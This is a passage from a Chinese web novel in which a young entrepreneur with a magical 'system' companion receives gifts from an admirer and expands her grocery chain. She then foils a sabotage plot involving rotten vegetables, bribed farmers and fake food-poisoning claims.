伊恩凑过来看了一眼,撇了撇嘴,小声嘀咕:“不就是几块木头嘛,哪有宝石好看。” 谢时昀没理他,看向时墨手里的帆布包,语气带着恰到好处的担忧:“不过这套珠宝确实太贵重了,就这么放家里不安全。现在胡同里晚上总有小偷晃悠,万一被偷了,找都找不回来。银行保管箱可以租。不过今天是周日,银行不开门。” 时墨皱了皱眉。她虽然有玄青看家,还有系统24小时监控,但这么贵重的东西随便塞抽屉里,心里总不踏实。 谢时昀又说道:“我家里正好有个闲置的保险柜,之前放公司合同用的,现在空着。不大,刚好能放首饰和重要文件。你要是不嫌弃,我现在回去搬过来。” “那太麻烦你了,谢哥。” “不麻烦。”谢时昀立刻站起来,“我马上就来。” 说完转身就走,脚步比平时快了不少。 【宿主!】系统的声音带着八卦的兴奋,【谢时昀刚才的心率过山车啊!看见你收蓝宝石的时候132,你夸他工具的时候直接飙到145!他绝对是故意不提银行明天开门的事,就是想找借口再来一趟!】 时墨没接话,指尖摩挲着手里的紫檀比例尺,心里说不清是什么滋味。 伊恩看着谢时昀的背影消失在门口,才凑到时墨身边,小声说:“时墨,我觉得谢时昀好像不太喜欢我。” “他就是那个性格,对谁都淡淡的。”时墨安慰道。 “哦。”伊恩点了点头,也没多想,“那我也该走了,你不是要回家跟叔叔阿姨过生日吗?把蛋糕带上,跟他们一起吃。” “好。”时墨拎起蛋糕盒,“今天谢谢你的礼物和蛋糕。” “不用谢!能陪你过生日我就很开心了!”伊恩笑得一脸灿烂,对了,你什么时候有空?我们一起去看外贸货源的事啊?” “下周六吧,这几天我要上课。” “好!那我下周六早上来找你!” 伊恩依依不舍地走了,一步三回头,直到看不见时墨的身影才跑远。 院子里终于安静下来。 时墨刚把测绘工具放进她的书桌里,就看见谢时昀扛着一个半人高的保险箱走了进来。他额角沁着一层薄汗,衬衫袖口挽到了手肘,小臂上的肌肉线条绷紧,青筋微微隆起。 “谢哥,这么快?”时墨连忙迎上去,想帮他搭把手。 “不用,沉,别碰着你。”谢时昀侧身躲开她的手,稳稳地把保险柜放在堂屋的墙角,放下的时候连地面都震了一下。 他擦了擦汗,从兜里掏出两把钥匙递给时墨一把:“双锁的,两把钥匙都在你这儿。密码我教你设,设你最容易记的。” 他站在时墨身后,微微俯下身,教她如何设置。 谢时昀的呼吸轻轻落在时墨的发顶,带着淡淡的皂角香,时墨的耳尖不自觉地动了动,往旁边挪了下。 “好了。”谢时昀直起身,往后退了一步,拉开距离,“以后贵重东西都放这里,绝对安全。” 时墨给他倒了杯热茶:“歇会儿吧,喝口水。” 谢时昀接过茶杯, 喝了一口,然后从怀里又掏出一个暗红色的锦盒,轻轻放在桌上。 “还有一个礼物,刚才没拿出来。” 时墨愣了一下:“谢哥,你已经送过了,怎么还有?” “这个不一样。”谢时昀打开锦盒,里面是一对翡翠手镯。 通体满绿,水头十足,在灯光下泛着温润的光泽,像暮春最后一场雨之后,山涧里积了百年的潭水。绿到最深处泛出一点墨色,又在光下透出莹莹的翠意。 【哇!宿主!这是清代老坑玻璃种满绿翡翠手镯!这种品级的翡翠镯子,一对的市场价至少三百万!比刚才那套蓝宝石还贵!你看镯身上的沁色,是百年以上的老玉才有的!】系统激动得嗷嗷叫,【谢时昀这是把传家宝都拿出来了啊!】 时墨自然识货,这对手镯的品相,绝对是顶级的,就算放在博物院,也算得上是一级文物。 “这太贵重了,我绝对不能收。”时墨立刻把锦盒推回去,“谢哥,你的心意我领了,但这个真的不行。” “你听我说。”谢时昀又把锦盒推回来,语气认真得不容拒绝,“这是我祖母留给我的,她老人家临终前说,这对镯子要传给家里最懂事、最合她眼缘的女孩子。可惜我家就我一个孙子,她要是还在,肯定也喜欢你。” 他避开时墨的目光,看着桌上的茶杯,声音轻了一点:“刚才伊恩在,我没拿出来。不是怕跟他比,是不想你好好的生日,变成互相攀比礼物的场合。他的心意是他的,我的是我的,没有高低之分。” “我知道你喜欢老物件。”谢时昀抬起头,看着她的眼睛,眼神温柔得如三月春水,“这对镯子你要是喜欢就戴着,不喜欢就收着。不用想太多。” 时墨看着他真诚的眼睛,拒绝的话到了嘴边,又咽了回去。她拿起一只手镯,轻轻套进左手腕。 圈口不大不小,刚好滑到手腕最细的地方,不松不紧,像是量着她的腕骨做的。翡翠贴着皮肤,凉意从石头里慢慢渗出来,又慢慢被体温捂暖,绿色在腕间漾开,衬得她的皮肤愈发白皙。 她转动手腕,镯子在光下变换着深浅不一的绿色,像一泓流动的春水。 “很好看。”时墨轻声说。 谢时昀看着她眼里毫不掩饰的喜爱,嘴角勾起一抹极淡的弧度:“你喜欢就好。” 时墨抬起头,对他笑了笑:“那我收下了,谢谢你,谢哥。这份礼物,我很喜欢。” 那天晚上,时墨回家跟家人一起过了生日。李秀兰看到她腕间的翡翠手镯,惊得手里的筷子都掉了,一个劲地追问是谁送的。时墨只说是一个很要好的朋友送的,没再多说。 日子一天天过去,转眼就到了年底。 《古宅迷踪》的影视改编权被京市电影制片厂看中了,林慧君打电话来的时候,激动得不行:“时墨!成了!王导亲自拍板的!他说看了你的书,连夜写了三页纸的改编思路,非要请你当联合编剧!” “谢谢林姨。”时墨平静地翻着手里的古籍,“改编权可以授权,但我有三个条件:第一,古建筑场景必须按我给的图纸搭建,不能瞎改;第二,核心剧情不能动,尤其是孙教授的部分;第三,这是单次授权,续集、衍生品、海外发行权全部保留。” 林慧君在电话那头安静了一瞬,然后笑了,“你这个丫头,比我们版权科的老油条还精。你放心,我一定跟他们说清楚!你什么时候有空来社里一趟?我把对方的意向书给你看。” “明天下午。” “好。还有一件事。”林慧君的语气从公事公办变成了长辈的关切,“作协那边,你的会员资格批下来了。上次跟你说过的,下周六有个青年作者座谈会,你得来参加。别老闷在家里写东西,也得出来见见人。作协这潭水深,你早点蹚一蹚,对以后有好处。” 时墨应了下来。 挂了电话,时墨继续整理她的古建筑资料。 这段时间,她利用系统里的完整数据库,补全了失传已久的《清代官式建筑营造技艺补全》和《北方民居榫卯结构大全》。两本书一出版,立刻在古建行业引起了轰动。 古建圈子的前辈们终于不再用“怀瑾的学生”来称呼她。周景行在聚贤斋的聚会上把书往桌上一放,说了一句:“怀瑾没看走眼。” 之前在学校里嚼舌根的人彻底闭了嘴。那些说她“不务正业写杂书”的人,现在都捧着她的书当教材。连建筑系的系主任都亲自找她谈话,说要破格让她读硕士,毕业后直接留校。 许文静有一天在课间跟她说:“时墨你知道吗,之前说你坏话的那几个同学,昨天偷偷去书店买你的书,被我撞见了,还嘴硬说帮别人买的。” 时墨笑了笑,没说话。 与此同时,时记的扩张势如破竹。崇文门、东四、西单的三家分店接连开业,家家爆满。时墨利用谢时昀的关系,挂靠在国营外贸公司名下,通过伊恩联系英国和东南亚的供货商,引进了一大批进口商品。 黄油饼干、巧克力、葡萄酒、热带水果……这些以前只有在友谊商店凭外汇券才能买到、价格贵得离谱的东西,在“时记”不仅不用外汇券,价格还便宜了三成。 开业当天,西单店的队伍从早上七点排到晚上九点,货架上难得一见的进口商品,一上架就被抢购一空。 时记瞬间成了京市及其周边百姓心中的一站式购物天地,不仅能买到新鲜的蔬菜水果、肉类水产,还能买到别的地方买不到的进口货。很多人特意坐一个多小时的公交车,就为了来时记买一块进口巧克力。 王桂英收钱收得手抽筋,赵海霖在后院卸货卸得腰都直不起来,赵红梅嗓子喊哑了,含着润喉糖继续招呼顾客,连额头上的汗都没空擦。 傍晚打烊的时候,时墨站在铺子门口,看着门头上“时记商超”四个大字嘴角不自觉翘起。 谢时昀站在她旁边,手里拿着今天的销售记录表,声音带着笑意:“今天营业额八万七千,比第一家店开业翻了三倍。进口商品的毛利能到40%,比生鲜高太多了。下个月我们再进一批日本的家电和化妆品,肯定更火。” “货源已经跟伊恩谈好了,下个月中旬发货。”时墨点头,“他帮我谈了独家代理权,价格比市场价低15%。” 谢时昀“嗯”了一声,没多说什么。他早就习惯了伊恩的存在,也知道伊恩在进口货源上的优势。他能做的,就是把国内的所有事情都打理好,不让时墨操一点心。 从第一家店开始,谢时昀就把所有的流程都标准化了。选址、装修、招聘、培训、进货、盘点,每一个环节都写成了厚厚的手册。新店开业前三天,他都从早到晚盯着店里情况,从凌晨三点进货盯到晚上打烊,把发现的问题一条一条记下来,把所有问题都在开业前解决。 每个周六下午,他会准时出现在时墨小院里,送上周的经营报告。 报告的格式是他自己设计的,第一页是总览,六家店的核心数据一目了然;后面是每家店的详细分析,从客流量到客单价,从品类销售排行到损耗率变化,每一项都标注了同比和环比,核心数据用红笔标注。 最后是一页“待决策事项”,把所有需要时墨拍板的问题列得清清楚楚,每个问题下面都附上了他的建议方案和利弊分析。 时墨每次看完,只需要打个勾,签个字就行。 这天下午,时墨正在家里看账本,谢时昀照例来送周报。他把一叠整理好的报告放在桌上,又从公文包里抽出一份单独的文件,轻轻推到时墨面前。 “墨墨,还有个东西给你。”谢时昀把文件袋放在桌上,推到她面前。 时墨放下笔,拿起文件翻开,瞳孔猛地一缩。 她快速扫了一遍,眼睛猛地睁大了。 这是谢时昀注册的那家外贸公司的股权转让协议。 他把公司49%的股权,无偿转让给了她。没有任何附加条件,没有任何要求。 “谢哥,这是什么意思?”时墨抬起头,一脸震惊地看着他,“我不能要。这家公司是你一手创办的,跟我没关系。” “没什么意思。”谢时昀看着她,眼神认真而坚定,语气温柔道,“时记以后要做全国连锁,进口货的占比会越来越高。你手里握着外贸公司的股权,就不用看别人的脸色,不用被中间商赚差价。以后不管政策怎么变,利润的大头永远在你自己手里,不用分给任何人。” 他说的“分给任何人”里明显也带着他自己。 时墨看着协议上的股权比例,沉默了片刻,还是推了过去:“你已经帮了我很多,我不能要你的公司股权。” “墨墨。”谢时昀又把协议书推了回来,身体微微前倾,看着她的眼睛,一字一句地说,“因为我想它与你有关。” “我们是合作伙伴。”他声音低沉而温柔,目光没有躲闪,但却带着一丝不易察觉的小心试探“你的事,就是我的事。我的东西——” “就是你的东西。” 第88章 谢时昀说完, 喉结微微滚动了一下。手指在膝盖上蜷了蜷又松开,指尖泛着一点白,紧张地等着时墨的答复。 时墨看着协议书上他签得力透纸背的名字和鲜红的手印, 指尖在纸页上轻轻摩挲了一下。 她当然明白这49%股权背后的心意, 也清楚这家外贸公司未来的价值——有了它, 时记的进口渠道就彻底握在了自己手里, 再也不用受制于人。但她更不想欠这种掺杂着感情的人情,不清不楚,最是磨人。 “谢哥,股权我不能白拿。”时墨把协议推了回去,语气平静却不容置疑, “这样, 我按时记当前估值,折算成现金买你这49%的股份。分三年付清, 每年年底结算, 利息按银行定期算。” 谢时昀看着她,眼底闪过一丝不易察觉的失落, 但很快又化作温柔的笑意:“好, 都听你的。” 他没有争辩。 他太了解时墨的性子了, 越是推拒, 她越会保持距离。不如先顺着她, 来日方长,他有的是时间向时墨证明自己不是一时冲动。 时墨拿起笔,在协议书上签下了自己的名字。笔尖划过纸张的瞬间, 两人都清楚,从这一刻起,他们的命运彻底绑在了一起, 再也分不开了。 谢时昀把签好的协议收好,又拿起桌上的周报翻到最后一页,指尖点在数据栏上:“下周有一批岛国的化妆品到港,报关手续我已经办好了,比市场价低两成。还有东四店旁边新开了家国营副食店,这周咱们的客流量掉了半成,我建议搞个会员日拉客。” “会员日可以。”时墨在周报上签了字,笔尖在“八折”两个字上画了个圈,“九折力度太小,没吸引力。周三周四连做两天,全场八折,会员再享折上折。另外,每天前一百名顾客送一斤鸡蛋,把人气先攒起来。” “好,我今晚就安排印传单。”谢时昀记下,起身准备走。 穗穗摇着尾巴跑过来,叼着他的裤腿往门口拽,玄青也慢悠悠地跟在后面,送他到院门口。谢时昀蹲下来揉了揉穗穗的脑袋,抬头看了一眼时墨房间的窗户,才转身离开。 “时记”一切都在步入正轨,风波毫无预兆地降临了。 九月初的周三,秋老虎正凶,太阳晒得柏油路都化了。时墨正在图书馆查《营造法式》的残卷,传呼台的电话打到了建筑系。 许文静突然气喘吁吁地跑过来:“时墨!快!有你的急电,说是你家出大事了!” 时墨心里咯噔一下,合上书就往楼下跑。她抓起听筒,还没来得及说话,就听见王桂英撕心裂肺的哭声从听筒里炸出来,混着背景里嘈杂的争吵声和相机的咔嚓声:“墨墨!不好了!出大事了!全完了!” “嫂子,你别慌,慢慢说,怎么了?”时墨握紧听筒,安慰道。 “今早从榆树庄拉来的三车菜,全是烂的!海霖验货的时候翻到底下,一筐筐全是捂烂的西红柿、长霉的豆角,还有喷了农药的小白菜,一股子刺鼻的味!刚才来了十几个顾客,说昨天买了咱们的菜吃了上吐下泻,都进医院了!工商局的人刚到,把账本和货全封了!还有好多报社的记者,不知道谁叫来的,堵在门口拍,赶都赶不走!” 王桂英越说越急,最后直接嚎啕大哭:“墨墨,这可怎么办啊?咱们辛辛苦苦干了一年,好不容易有了今天,这要是招牌砸了,以后可怎么活啊!” 听筒里传来一个男人粗暴的喊声:“叫你们老板出来!卖毒菜害人!今天不给个说法,我们就砸了你们的店!” 紧接着是相机疯狂的咔嚓声。 时墨的脸色瞬间沉了下来,她太清楚这意味着什么了。 时记九个月陆续开了九家店,成为京市最大的综合商超,速度快得让人眼红。根基还没扎稳,口碑就是命根子。一旦背上“卖毒菜”的名声,之前所有的努力都会付诸东流。 这绝对不是意外。 “嫂子,你听我说。”时墨的声音异常冷静,“你马上把店门关上,不要让任何顾客再进去,保护好现场。把所有问题蔬菜全部封存,一筐都不许动。工商要查,让他们查,你配合。还有,把今天当班的理货员、验货员、司机全部留下来,一个都不许走!门口那些记者不要拦,也不要跟他们吵,他们想拍就让他们拍,想说什么就让他们说。你只要记住一句话:时记绝不推卸责任,但也绝不接受恶意栽赃。” “好好好!我记住了!”王桂英立马有了主心骨,连忙应下。 挂了电话,时墨没有立刻走,而是站在电话亭旁边,脑子里飞速过着所有环节。 三车菜同时出问题,十几个顾客同一天“食物中毒”,工商和报社分秒不差地赶到——这是一场精心策划的阴谋。背后的人不仅摸清了时记的供货路线,还买通了内部的人,甚至提前打点好了媒体和地痞。 背后的人的能量绝对不小。 时墨想通了,立刻拨通了谢时昀和伊恩的电话。 “谢哥,西单店出事了。有人故意往蔬菜里掺烂菜、喷农药,还买通地痞假装食物中毒闹事。你立刻联系工商局的张局长和《京市晚报》的李主编,带上所有的进货台账、质检报告和运输单过去。另外,你亲自去一趟医院,把那十几个‘顾客’的病历、缴费记录全部调出来,越详细越好。” “我知道了。”谢时昀没有多问一句,语气立刻严肃起来,“我现在就开车过去,二十分钟左右能到。你自己注意安全。” 时墨又打给伊恩,电话响了一声就被接起:“时墨?怎么了?” “伊恩,你现在立刻去西单店门口。”时墨语速飞快,“等会儿记者会围过来,你帮我稳住他们。你就说,时记愿意承担所有真实顾客的医疗费用,但绝不会容忍恶意栽赃。当众宣布,时记将邀请市食品卫生监督所作为第三方,全程监督所有食材的采购、运输和加工,所有进口商品的海关报关单和检疫证明全部公示在店门口,接受全社会监督。” “明白!”伊恩收起了往日的笑意,严肃道,“我马上过去,保证完成任务!” 时墨挂了电话,叫了个车回家拿上所有和榆树庄农户签的收购合同。 赵海霖早赶回小院,在门口等着她了,脸色极其难看:“墨墨,都怪我!是我验货的时候粗心了……我对不起你,对不起时记……” “现在不是说这个的时候。”时墨让赵海霖跟上,“先去榆树庄,抓内鬼。” 面的在京开路上飞跑,扬起一路尘土。窗外的玉米地已经收了大半,光秃秃的秸秆在秋风里瑟瑟地响。 赵海霖坐在副驾驶,双手抱着头,指甲深深嵌进头皮里:“我真傻……王二麻子前几天找我,说他家菜丰收了,想多供点,我想着都是一个村的,知根知底,就答应了,把老李家、老王家的份额匀了一半给他……我要是没答应,就不会出这事了……” “不怪你。”时墨看着窗外,眼神锐利,“是有人早就盯上我们了,就算没有王二麻子,也会有张三李四。这次躲不过去,正好把藏在底下的老鼠揪出来。” 一个多小时后,面的开进了榆树庄。 刘村长早就带着几个村干部在村口等着了,手里还攥着一根扁担,脸气得通红。看见时墨下车,他把扁担往地上一跺,震得尘土飞扬:“时丫头!你放心!今天我就是把村子翻过来,也一定把那个吃里扒外的东西给你揪出来!敢砸全村人的饭碗,我打断他的腿!” “麻烦刘叔了。”时墨点了点头。 刘村长拿起挂在树上的大喇叭,扯着嗓子喊:“所有种菜的户,立刻到村委会集合!十分钟不到的,以后永远别想跟时记签合同!家里男人不在的,女人来!一个都不许少!” 喇叭声在村子上空回荡,没过多久,村民们就三三两两地往村委会赶,边走边议论。 村委会的院子里很快站满了人,黑压压的一片。 时墨站在台阶上,看着底下一张张或好奇、或紧张、或心虚的脸,声音不大,却却带着一股压迫感:“今天早上,送到西单店的三车菜里,掺了大量烂菜和喷了过量农药的毒菜。十几个顾客‘食物中毒’,工商局和报社都去了,时记差点就被搞垮了。” 底下立刻炸开了锅。 “什么?有人往菜里喷农药?太缺德了吧!” “这不是断咱们的财路吗?时记给咱们保底价,比贩子收的贵多了!” “谁干的啊?这么黑心!” “我知道是村里有人被收买了。”时墨的目光扫过人群,在几个脸色发白的人身上停顿了一下,“现在主动站出来,把事情说清楚,把背后指使的人供出来,我可以既往不咎,合同继续签,工钱一分不少。要是等我查出来,不仅要解除合同,赔偿所有损失,还要报警抓去坐牢。故意投毒,少说判三五年。” 院子里瞬间安静下来,连呼吸声都听得见。 那几个被收买的菜农低着头,肩膀微微发抖,你看我我看你,谁也不敢先说话。 时墨看了一眼手表,冷冷地说:“我给你们五分钟时间。五分钟后,我就报警。警察来了,会查你们的银行账户,查你们最近跟谁接触过,查你们家的菜窖,一查一个准。到时候再想坦白,就晚了。” 话音刚落,人群里一个五十多岁的老汉突然“噗通”一声跪了下来,“哇”地一声哭了:“时老板!对不起!是我干的!王二麻子给了我五百块钱,让我把烂菜混进去!我家孙子生病住院,急需钱,我一时糊涂啊!” 有了第一个带头的,其他四个菜农也纷纷跪了下来,哭着承认了自己的错误。 “是王二麻子!他说只要我们照做,事后再给五百块!” “他说就算查出来,也找不到他头上,大不了不干了!” “我们对不起你,时老板!求求你别报警!” 刘村长气得浑身发抖,指着他们骂道:“你们这帮没良心的东西!时老板给咱们签合同,保底价,提前给定金,村里多少人家靠这个翻盖了房子,供孩子上了学!你们倒好,为了几百块钱,就帮着外人害时老板!你们对得起谁啊!” “刘叔,别骂了。”时墨拦住他,问,“王二麻子呢?” “在家呢!”一个年轻小伙子喊道,“我刚才看见他往家跑了,还拎着一个包袱,像是要跑路!” “走!去他家!”时墨一挥手,带着众人往王二麻子家走去。 王二麻子家的院门虚掩着,推开门,院子里堆着十几筐还没来得及运走的烂菜,散发着一股刺鼻的农药味和霉味。王二麻子正蹲在地上收拾包袱,看见众人进来,吓得手一抖,包袱掉在地上,里面的钱和衣服散了一地。 时墨蹲下来,掀开最上面一筐菜的盖布。底下的西红柿烂得流汤,果皮上长着白色的霉斑,果蒂处有一圈明显的焦黄色,是被高浓度农药灼烧过的痕迹。她拿起一个西红柿,凑到鼻尖闻了闻,一股刺鼻的乐果味直冲脑门。 “王二麻子,这药是你配的?”时墨把西红柿扔在他面前,语气冰冷。 王二麻子往后缩了缩,眼神躲闪:“是……是我打虫的时候不小心喷多了……烂菜是我没挑干净……” “不小心?”时墨冷笑一声,站起来看着他,“乐果稀释三百倍才能打菜,你这浓度至少是十倍。而且你只喷果蒂,不喷菜叶,就是为了让菜看起来新鲜,运到店里才开始烂。你一个种地的,能配出这么精准的浓度?谁教你的?” 王二麻子的脸瞬间白了,嘴唇哆嗦着说不出话。 “还有,”时墨拿出收购合同,翻到他的供货记录,“你家只有三亩菜地,这次却供了八亩的量。多出来的五亩菜,是你从村西头废弃的老菜窖里拉出来的烂菜吧?我已经让人去查了,菜窖里还留着你拉菜的车辙印。” 她往前逼近一步,眼神像刀子一样扎在他身上:“你一个游手好闲的赌徒,能拿出两千五百块钱收买菜农?能提前买通十几个地痞去闹事?能精准地知道时记的送货时间和验货习惯?说!你的上线是谁?” 王二麻子腿一软,“噗通”一声跪在地上,双手抱着头,肩膀抖得像筛糠。 刘村长踹了他一脚:“王二!你倒是说啊!是谁指使你干的?你要是还有点良心,就把人供出来!” “我说!我说!”王二麻子终于扛不住了,抬起头,声音哑得像砂纸刮木头,“是双桥货运站的马老三!他找到我,给了我五千块钱定金,让我往菜里掺烂的、喷他给的药。他说事成之后再给我五千,还说要是我敢说出去,就杀了我全家!” “马老三长什么样?” “四十来岁,胖胖的,左边眉毛上有一颗大黑痣。大家都叫他马老三,没人知道他大名叫什么。他在双桥货运站开了一家配货站,专门跑南方的线。” 时墨点了点头,对刘村长说:“刘叔,麻烦你带人把这五户的烂菜全部销毁,然后报警。王二麻子和这五户,按合同违约处理,永久终止合作,该赔多少赔多少。” “好!我这就去办!”刘村长立刻应下。 王二麻子一听要报警,吓得瘫在地上,嚎啕大哭:“时老板!我错了!求求你别报警!我再也不敢了!” 时墨没有理他,转身走出了院子。 阳光照在她身上,却驱不散她眼底的寒意。 另一边,西单店门口已经乱成了一锅粥。 三个穿着背心拖鞋的地痞坐在台阶上,捂着肚子哼哼唧唧,嘴里喊着“时记卖毒菜,害死人了”。 周围围满了看热闹的群众和扛着相机的记者,议论声此起彼伏。 “我昨天中午在这儿买了二斤豆角,吃完晚上就上吐下泻,现在还浑身没劲!你们得赔我医药费!误工费!精神损失费!”一个光头地痞拍着大腿喊,唾沫星子横飞。 “就是!我家孩子吃了你们的西红柿,现在还在医院躺着呢!你们要是不给个说法,我们就天天来闹!” 周围的群众议论纷纷,不少人脸上露出了怀疑的神色。 “不会吧?我经常在这儿买菜啊,菜都挺新鲜的。” “知人知面不知心啊,说不定为了赚钱,什么都干得出来。” “赶紧走吧,以后别在这儿买了,吃坏肚子可不得了。” 工商局的工作人员正在店里检查,王桂英和赵红梅站在一旁,急得满头大汗,却一句话也说不出来。 就在这时,人群突然分开一条道。伊恩穿着一身笔挺的白色西装,金色的头发在阳光下格外耀眼,手里拿着一个扩音器,大步走了过来。 “各位记者朋友,各位街坊邻居,大家好!”伊恩拿起扩音器,用流利的中文大声说,“我是时记商超的外贸顾问伊恩·霍金斯。关于今天发生的事情,我代表时记向大家做一个正式说明。” 记者们立刻围了上来,话筒差点怼到他脸上。 “伊恩先生,请问时记真的卖了变质蔬菜吗?” “那些食物中毒的顾客,时记打算怎么赔偿?” “有人举报时记的进口商品是走私的,没有检疫证明,这是真的吗?” 伊恩笑着摆了摆手,等大家安静下来,才继续说:“首先,对于今天在店里感到身体不适的顾客,时记愿意承担所有的医疗费用和误工费。只要能拿出在时记的购物凭证和医院的诊断证明,我们立刻赔偿,绝不拖延。” 他顿了顿,语气变得严肃起来:“但是,我们也有充分的理由怀疑,这是一起有组织、有预谋的恶意栽赃事件。目前我们已经掌握了相关证据,并且报了警,警方正在调查中。” 说着,他指了指店里封存的蔬菜:“大家可以看,这些问题蔬菜都是今天早上七点刚送到的,包装完好,运输单和质检报告都齐全。我们的验货员发现问题后,立刻就封存了,一筐都没有卖出去。所谓的‘昨天买的菜吃坏肚子’,根本站不住脚。” 然后,他从包里拿出一沓厚厚的文件,举起来给大家看:“这是时记所有进口商品的海关报关单和出入境检验检疫证明,每一件商品都有备案,大家可以随便看,随便查。如果发现有一件是走私的,时记立刻关门大吉,我伊恩·霍金斯立刻离开中国,再也不回来!” 记者们纷纷拿起相机拍摄那些文件,原本准备写□□的记者,也开始低头记录伊恩的话。 这时,谢时昀带着两个警察和医院的医生赶来了。他手里拿着一叠病历,脸色冰冷地走到台阶上,把病历高高举起:“各位记者朋友,这是那十二位‘食物中毒’顾客的病历和缴费记录。我刚刚从医院过来,跟主治医生核实过了。” 他翻着病历,一字一句地说:“这十二个人里,有三个人根本没有在这两家医院的就诊记录。剩下的九个人,诊断结果都是普通的消化不良和急性肠胃炎,没有一例是农药中毒。而且,他们的发病时间都在今天凌晨三点以后,距离他们所说的‘昨天中午买菜’,已经过去了十五个小时。急性肠胃炎的潜伏期一般是六到十二小时,十五个小时才发病,根本不可能是吃了时记的菜导致的。” 这话一出,全场哗然。 “原来是假的啊!太缺德了吧!” “为了钱什么都干得出来,故意栽赃人家!” “我说呢,时记的菜一直都很新鲜,怎么可能卖毒菜!” 那三个地痞脸色瞬间惨白,偷偷摸摸地想溜,却被警察一把抓住了。 “警察同志,误会!都是误会!”光头地痞连忙摆手,“我们记错了,不是昨天吃的,是今天早上吃的!” “是吗?我这边可有证人,说你昨天晚上十点,你们在烧烤摊吃烤串喝啤酒。”谢时昀冷笑一声,“你们吃了那么多油腻的东西,不拉肚子才怪。还敢来栽赃陷害,跟警察回派出所好好说说吧!” 警察把三个地痞带走了,记者们立刻围上去采访,闪光灯亮成一片。 谢时昀拿起扩音器,对着围观的群众说:“各位街坊邻居,今天的事情给大家造成了困扰,我代表时记向大家道歉。为了感谢大家的支持,从今天起,时记所有门店连续三天全场八折,所有蔬菜全部进价销售。同时,我们已经邀请市食品卫生监督所作为第三方监督机构,每天对所有食材进行抽样检测,检测结果每天早上公示在店门口。欢迎大家随时监督!” 话音刚落,人群里爆发出热烈的掌声。 “好!支持时记!” “以后买菜就来时记了!” “不能让好人被欺负!” 这边解决完,谢时昀立刻给时墨在的村委会打了电话说明情况。 “还真都是假的。”时墨沉下脸,“报社那边呢?” “已经处理好了。 ”谢时昀的声音里带上了一点很淡的笑意。 “辛苦了。”时墨道。 “应该的。”谢时昀说完,电话里安静了一瞬,转而关心地问道,“墨墨,你那边情况怎么样?” “抓到人了,已经报警处理了。” “背后人是谁?” “双桥货运站,一个叫马老三的。明天我去会会他。” “我跟你一起去。” 时墨没有拒绝:“好。” 当天晚上,《京市晚报》的头版头条就刊登了题为《恶意栽赃终败露,时记严把质量关》的深度报道。 报道详细讲述了整个事件的经过,附上了地痞的假病历、王二麻子的供词,还有时记邀请第三方监督的公告。记者在报道里写道:“在食品安全问题频发的今天,时记用实际行动证明了,诚信才是最好的招牌。恶意的栽赃不仅没有搞垮它,反而让它赢得了更多消费者的信任。” 报道一出,立刻引起了轩然大波。 “原来都是栽赃啊!时记也太冤了!” “就是,人家敢请第三方监督,说明人家心里没鬼!以后买菜就去时记了!” “那些坏人也太缺德了,为了钱什么都干得出来!” 第二天,时记所有门店的客流量都比平时翻了一倍,有的店门口排的队伍甚至比开业那天还长。很多人特意坐一个多小时的公交车过来,就是为了支持时记。 王桂英看着店里熙熙攘攘的顾客,擦了擦眼角的泪:“太好了,墨墨,咱们的招牌不仅保住了,还比以前更火了” 时墨看着门口排起的长队,眼中却没有一丝笑意。 她知道,这或许只是开始。 【小七,查一下双桥货运站的马老三的信息。】 【正在检索。】系统的声音干脆利落。 几秒钟后,光屏上弹出一份档案。 【马老三,本名马德福,四十二岁,原京市运输公司司机,三年前离职,在双桥货运站开了一家配货站。表面上做的是帮外地货车配货的生意,实际上——】系统顿了一下,【他的配货站是华北地区一个中转点。从南方过来的走私货,通过他的配货站换包装、换车牌,再发往北方各地。张敬山是他的表哥,张敬山案发后,他这条线停了一段时间,最近又重新启动了。】 光屏上弹出两张照片的对比。一张是张敬山案卷宗里的照片,一张是马老三的货运站注册信息。两个人并排放在一起,眉眼非常相似。 【还有,他的配货站最大的客户是香港的云森贸易公司,最终控制人就是姜云森。】 时墨的眼神瞬间冷了下来。 姜云森。 先生。 果然是你。 【宿主,刚检测到马老三买了今天晚上八点去广州的火车票,打算从广州偷渡去香江。要不要通知警察抓他?】 【不用,放他走。】 【啊?为什么?】 【放长线,才能钓大鱼。】 第89章 风波平息后, 时墨没给任何人喘息的机会,立刻在总店后院召开了全体员工大会。 九家店的店长极其员工全部到齐,每个人脸上都带着忐忑, 毕竟前些天发生的事大家都知道, 肯定他们内部出了内鬼。 赵海霖和王桂英站在最前面, 赵红梅抱着账本站在一旁, 每个人的脸色都不脸色凝重。 时墨面前摆着一份用红笔圈得密密麻麻的名单。 “西单店,理货员冯长贵、称重员刘翠芬。”她平淡地念出每一个人的名字,却让底下的人瞬间屏住了呼吸,“东四店,采购员王德发、收银员李梅。崇文门店, 仓管员赵大柱……” 每念一个名字, 对应的店长脸色就白一分。 “以上十七个人,今天全部结清工资, 立刻走人。”时墨合上名单, 目光扫过全场,“以后时记所有门店, 永不录用, 包括他们的直系亲属。我知道这里面有不少是在座各位的亲戚朋友, 谁介绍来的, 自己心里有数。犯了规矩, 就按规矩办,谁求情都没用。” 话音刚落,人群里突然冲出来一个中年女人, 扑到石桌前就哭:“时老板!求求你饶了我这一次吧!我家男人瘫痪在床,孩子还在上学,我不能没有这份工作啊!” 她一把鼻涕一把泪地抓着时墨的裤腿:“我就是收了冯长贵五十块钱, 帮他把烂菜摆到特价区了,我再也不敢了!” 时墨推开她的手,眼里没有一丝波澜:“你把烂菜摆上去的时候,有没有想过吃了这些菜的老人孩子会进医院?有没有想过时记九家店几百号员工的饭碗?” 她转头对赵海霖说:“把她的工资结了,送出去。” 刘翠芬被保安架走的时候,哭嚎声传进了每个人心里。 场面鸦雀无声,所有人连大气都不敢喘——谁都没想到,平时看着温和的时墨,狠起来这么不留情面。 “这次的事,是有人花了不到两千块钱,买通了我们内部员工。”时墨的声音不高,但每个字都落得很实,“为了两千块钱,差点毁了我们所有人一年的心血。” “从今天起,所有新入职员工,必须有两位老员工联名担保,担保人承担连带责任。”时墨翻开谢时昀早就准备好的新规章,一条一条念下去,“各店店长每三个月轮调一次,采购、验收、收银三个岗位,每两个月轮岗一次。所有运输车辆全部加装铅封,中途私自拆封的,直接报警。” 念完规章,她话锋一转,语气柔和了些:“但只要你们好好干,时记绝不会亏待你们。从这个月起,所有人工资涨10%,每个季度发季度奖,年底按门店利润分红。另外设‘举报奖’,举报内鬼查证属实的,直接奖励三个月工资,还能优先升店长。” “好!” 会议室里爆发出雷鸣般的掌声。留下来的都是跟着时墨一开始干起来的老员工,看着时记一步步做大,心里早就把这里当成了家。 